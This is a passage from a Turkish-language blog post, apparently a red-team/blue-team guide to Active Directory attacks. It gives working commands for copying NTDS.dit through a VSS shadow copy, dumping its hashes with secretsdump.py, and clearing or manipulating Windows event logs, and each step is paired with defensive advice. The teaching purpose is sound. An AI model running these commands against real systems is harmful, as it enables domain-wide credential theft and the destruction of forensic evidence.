Gerçekleşir?</strong></p><ul><li>VSS ile NTDS.dit Kopyalama:</li></ul><pre>vssadmin create shadow /for=C:<br>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit</pre><ul><li>NTDS.dit içindeki şifreleri çözmek:</li></ul><pre>secretsdump.py -ntds ntds.dit -system SYSTEM local</pre><ul><li>Eğer saldırgan NTDS.dit’i ele geçirirse, ağdaki TÜM kullanıcı hesaplarının hash’lerini çıkarabilir ve offline brute-force saldırıları gerçekleştirebilir.</li></ul><p>✅ <strong>Blue Team Savunması:</strong></p><ul><li>NTDS.dit dosyasının erişim izinlerini kısıtlayın.</li><li>VSS’nin kontrolsüz kullanılmasını engelleyin.</li><li>Anormal boyutlardaki veri çıkışlarını tespit etmek için DLP çözümleri kullanın.</li></ul><h4>Attack Completion &amp; Cleanup</h4><blockquote>Saldırgan, ele geçirdiği verileri çıkardıktan sonra <strong>yaptıklarını gizlemek için logları silmeye çalışır. Ya da manipüle eder.</strong></blockquote><p><strong>📌 Gerçek Hayatta Nasıl Gerçekleşir?</strong></p><ul><li>PowerShell ile Logları Silme</li></ul><pre>wevtutil cl Security<br>wevtutil cl System<br>wevtutil cl Application</pre><ul><li>Logları Manipüle Etmek</li></ul><pre>Invoke-PhantomLog -LogName Security</pre><ul><li>Event logları temizleyerek saldırıyı gizleyebiliriz, ancak bu anormal bir aktivite olduğu için iyi SIEM sistemleri tarafından tespit edilebilir.</li></ul><p>✅ <strong>Blue Team Savunması:</strong></p><ul><li>Log temizleme işlemlerini takip edin ve uyarılar oluşturun.</li><li>SIEM ve EDR çözümleri ile sistem aktivitelerini sürekli izleyin.</li><li>Centralized Logging kullanarak logların başka bir sunucuya yazılmasını sağlayın.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0571389b2600" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>